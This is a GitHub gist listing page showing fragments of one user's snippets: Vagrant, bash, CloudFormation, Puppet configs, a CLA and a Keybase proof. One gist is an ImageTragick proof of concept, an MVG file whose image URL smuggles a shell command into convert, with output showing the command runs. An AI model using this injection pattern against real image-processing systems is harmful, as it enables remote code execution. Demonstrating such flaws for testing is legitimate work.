Skip to content

Instantly share code, notes, and snippets.

import time
from thundra.thundra_agent import Thundra
from thundra.plugins.trace.traceable import Traceable
THUNDRA_API_KEY = os.environ.get('THUNDRA_API_KEY', '')
thundra = Thundra(api_key=THUNDRA_API_KEY)
@Traceable(trace_args=True, trace_return_value=True)
def _action_a():
@tmclaugh
tmclaugh / gist:f923bcd437d7a3f91cb3
Last active August 14, 2018 20:52
Vagrant file
# -*- mode: ruby -*-
# vi: set ft=ruby :
#
# TODO
# - Current box is broken. Need to remove v.name setting hardcoding the box
# name. This breaks parallelization.
VG_ROLE = ENV['VG_ROLE'] || "hubspot::roles::role_basenode"
INST_HOME = ENV['VG_INST_HOME'] || File.dirname(__FILE__)
INST_NAME = ENV['VG_INST_NAME'] || INST_HOME.split(File::SEPARATOR)[-1]
@tmclaugh
tmclaugh / .bashrc
Created January 30, 2018 20:50
goaws() bash function
goaws () {
PROFILE=$1
export AWS_REGION='us-east-1'
export AWS_DEFAULT_PROFILE=$PROFILE
# this will override the profile used by some tools so let's not set that
# even though it's standard.
#export AWS_PROFILE=$PROFILE
export _SLS_STAGE=$(echo $AWS_DEFAULT_PROFILE | cut -s -d '-' -f 2)
export SLS_STAGE=${_SLS_STAGE:-prime}
@tmclaugh
tmclaugh / cla.md
Last active September 25, 2017 21:19

CloudZero Individual Contributor License Agreement

In order to clarify the intellectual property license granted with Contributions from any person or entity, CloudZero Inc. ("CloudZero") must have a Contributor License Agreement ("CLA") on file that has been signed by each Contributor, indicating agreement to the license terms below. This license is for your protection as a Contributor as well as the protection of CloudZero; it does not change your rights to use your own Contributions for any other purpose.

You accept and agree to the following terms and conditions for Your present and future Contributions submitted to CloudZero. Except for the license granted herein to CloudZero and recipients of software distributed by CloudZero, You reserve all right, title, and interest in and to Your Contributions.

  1. Definitions. "You" (or "Your") shall mean the copyright owner or legal entity authorized by the copyright owner that is making this Agreement with CloudZero. For legal entities, the entity making a Cont
vpc:
Type: AWS::EC2::VPC
Properties:
CidrBlock: "10.0.0.0/16"
EnableDnsSupport: false
EnableDnsHostnames: false
Tags:
- Key: Name
Value: ${self:service}-${self:provider.stage}
# This doesn't work for all regions but handles the vast majority. I hope

Keybase proof

I hereby claim:

  • I am tmclaugh on github.
  • I am tmclaugh (https://keybase.io/tmclaugh) on keybase.
  • I have a public key ASCtS7R9AqFYgumKTe_dcc83-C9b8sZr50OYRnGtkbKx0wo

To claim this, I am signing this object:

@tmclaugh
tmclaugh / gist:24da549ae14de11361137ca7d39aa03d
Created May 4, 2016 23:51
Remember to enable security for that added fuck you when exploiting ImageTragick
## ImageTragick with HTTPS URL results in code execution
vagrant@default-ubuntu-1404:~$ cat image-https.mvg
push graphic-context
viewbox 0 0 1 1 image over 0,0 0,0 'https://www.imagemagick.org"; echo CODE EXECUTION"'
pop graphic-context
vagrant@default-ubuntu-1404:~$ convert image-https.mvg image-https.png
CODE EXECUTION
convert.im6: unable to open image `/tmp/magick-M70rA2Ky': No such file or directory @ error/blob.c/OpenBlob/2638.
convert.im6: unable to open file `/tmp/magick-M70rA2Ky': No such file or directory @ error/constitute.c/ReadImage/583.
require 'facter'
require 'aws-sdk'
if Facter.value("ec2_instance_id") != nil
instance_id = Facter.value("ec2_instance_id")
region = Facter.value("ec2_placement_availability_zone")[0..-2]
ec2 = Aws::EC2::Client.new(region:region)
instance = ec2.describe_instances(instance_ids:[instance_id])
tags = instance.reservations[0].instances[0].tags
tags.each do |tag|
puppetVar:
- "hs_environment=qa"
- "creator=tmclaughlin"
- "data_center=iad01"
- "instance_id=i-25d4f74a"
- "tenant=prod"
- "provider=amazon"
- "security_group=default"
- "os=centos6"
- "rack=us-east-1e"
@tmclaugh
tmclaugh / gist:6757162
Created September 29, 2013 22:29
nodejs-npm-registry-client failure.
Error: Package: nodejs-npm-registry-client-0.2.28-1.el6.noarch (epel)
Requires: npm(request) >= 2.25.0
Installing: nodejs-request-2.21.0-1.el6.noarch (epel)
npm(request) = 2.21.0
You could try using --skip-broken to work around the problem
You could try running: rpm -Va --nofiles --nodigest